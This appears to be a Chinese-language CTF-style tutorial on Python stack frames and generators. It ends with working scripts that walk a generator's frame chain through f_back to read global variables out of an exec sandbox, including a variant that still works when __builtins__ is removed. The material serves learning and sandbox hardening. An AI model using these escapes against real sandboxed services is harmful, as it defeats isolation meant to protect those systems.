初学栈帧逃逸
栈帧介绍
在 Python 中,栈帧(Stack Frame) 是函数调用时在内存中分配的一个数据结构,用于存储函数的运行信息(如局部变量、参数、返回地址等)。它是 Python 解释器管理函数调用和执行流程的核心机制之一,尤其在递归、异常处理和调试时非常重要。
栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。
栈帧运作原理
1 2 3 4 5 6 7 8 9
| def foo(a, b): c = a + b bar(c)
def bar(x): y = x * 2 print(y)
foo(3, 4)
|
栈帧变化:
1.调用 foo(3, 4):
创建 foo 函数的栈帧,压入调用栈。
foo 函数的局部变量表包含 a=3, b=4。
2.执行 c = a + b:
在 foo 的操作数栈上计算 a + b,将结果 7 存储在局部变量 c 中。
3.调用 bar(c):
创建 bar 函数的栈帧,压入调用栈。
bar 函数的局部变量表包含 x=7。
4.执行 y = x * 2:
在 bar 的操作数栈上计算 x * 2,将结果 14 存储在局部变量 y 中。
5.执行 print(y):
打印 y 的值 14。
6.bar 函数结束:
从调用栈中弹出 bar 的栈帧,释放其内存。
7.foo 函数结束:
从调用栈中弹出 foo 的栈帧,释放其内存。
栈帧属性方法介绍:
1 2 3 4 5
| f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名。 f_globals: 一个字典,包含了函数或方法所在模块的全局变量。 f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。 f_lasti: 整数,表示最后执行的字节码指令的索引。 f_back: 指向上一级调用栈帧的引用,用于构建调用栈。
|
生成器介绍
生成器(Generator)是Python中一种特殊的迭代器,它可以在迭代过程中动态生成值,而不需要一次性将所有值存储在内存中。
其实生成器就是一种特殊的函数,一边运行一边生成值。
[普通函数]
1 2 3
| def get_list(): return [1, 2, 3] result = get_list()
|
[生成器]
这种特殊的函数每次只“产出”一个值(yield),运行完一个再接着运行下一个,而不是一下子把所有结果返回。优点不言而喻,节省内存空间。
生成器使用yield
语句来产生值,每次调用生成器的next()
方法时,生成器会执行直到遇到下一个yield
语句为止,然后返回yield
语句后面的值
1 2 3 4 5 6 7 8 9
| def get_gen(): yield 1 yield 2 yield 3 gen = get_gen() print(next(gen)) print(next(gen)) print(next(gen))
|
生成器属性
1 2 3 4 5
| gi_code: 生成器对应的code对象。 gi_frame: 生成器对应的frame(栈帧)对象。 gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。 gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。 gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。
|
生成器表达式
使用类似列表推导式的语法,但使用圆括号而不是方括号,可以用来创建生成器对象。生成器表达式会逐个生成值,而不是一次性生成整个序列,这样可以节省内存空间,特别是在处理大型数据集时非常有用(依然符合每次生成值后保留当前的状态,以便下次调用时可以继续生成值)。
1 2 3
| gen = (x * x for x in range(5)) print(list(gen))
|
和栈帧的结合
接下来我给你看一个脚本 你就知道为什么我要介绍生成器这个东西了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| def my_generator(): yield 1 yield 2 yield 3
gen = my_generator()
frame = gen.gi_frame
print("Local Variables:", frame.f_locals) print("Global Variables:", frame.f_globals) print("Code Object:", frame.f_code) print("Instruction Pointer:", frame.f_lasti)
|
这个脚本并不难以理解,首先是定义一个生成器,然后我们调用生成器并且使用gi_frame获取了当前生成器栈帧,然后我们又访问栈帧对象的几个属性:
f_locals是查看栈帧的存储的局部变量名,f_globals是查看全局变量名,f_code是查看函数或方法的字节码指令、常量、变量名等信息,f_lasti是查看最后执行的字节码指令的索引。
也许这些话语又变得很抽象,但是运行出来的结果将会很清晰的展示获取到的生成器的帧信息:
1 2 3 4 5 6 7
| Local Variables: {}
Global Variables: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000024A3485C260>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\pycharm\\PythonProject\\12121212.py', '__cached__': None, 'my_generator': <function my_generator at 0x0000024A346EA2A0>, 'gen': <generator object my_generator at 0x0000024A64CB1380>, 'frame': <frame at 0x0000024A347E4E00, file 'D:\\pycharm\\PythonProject\\12121212.py', line 1, code my_generator>}
Code Object: <code object my_generator at 0x0000024A349F1200, file "D:\pycharm\PythonProject\12121212.py", line 1>
Instruction Pointer: 0
|
利用栈帧逃逸沙箱
栈帧(stack frame)是函数调用时用来存储局部变量、返回地址等的一段内存空间。如果你能“逃逸”出这个栈帧的控制范围,你就能访问修改不该访问的内存(比如沙箱外的数据或指令),这就叫栈帧逃逸
原理是:是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals符号表,例如:
frame0 (f 内部) –> frame1 (waff 函数) –> frame2 (exec 所在作用域)
下面脚本就是通过栈帧一步一步拿到全局变量s3cret但是不直接引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| s3cret="this is flag"
codes=''' def waff(): def f(): yield g.gi_frame.f_back
g = f() #生成器 frame = next(g) #获取到生成器的栈帧对象 print(frame) print(frame.f_back) print(frame.f_back.f_back) b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals return b b=waff() ''' locals={} code = compile(codes, "test", "exec") exec(code,locals) print(locals["b"])
|
过滤绕过
list send 生成器表达式绕过
yield
过滤也可以用生成器表达式进行绕过
globals中的__builtins__字段
代码这么设计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| key = "this is flag" codes=''' def waff(): def f(): yield g.gi_frame.f_back g = f() #生成器 frame = next(g) #获取到生成器的栈帧对象 b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals return b b=waff() ''' locals={"__builtins__": None} code = compile(codes, "", "exec") exec(code, locals, None) print(locals["b"])
|
这里将沙箱中的__builtins__
置为空,也就是说沙箱中不能调用内置方法了,那我们这段代码运行就会报错了(next方法不能使用),那么该如何代替next方法来拿到生成器的值,还记得上面说可以遍历的形式来获取生成器的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| key = "this is flag" codes=''' def waff(): def f(): yield g.gi_frame.f_back g = f() #生成器 frame = [i for i in g][0] #获取到生成器的栈帧对象 b = frame.f_back.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals return b b=waff() ''' locals={"__builtins__": None} code = compile(codes, "", "exec") exec(code, locals, None) print(locals["b"])
|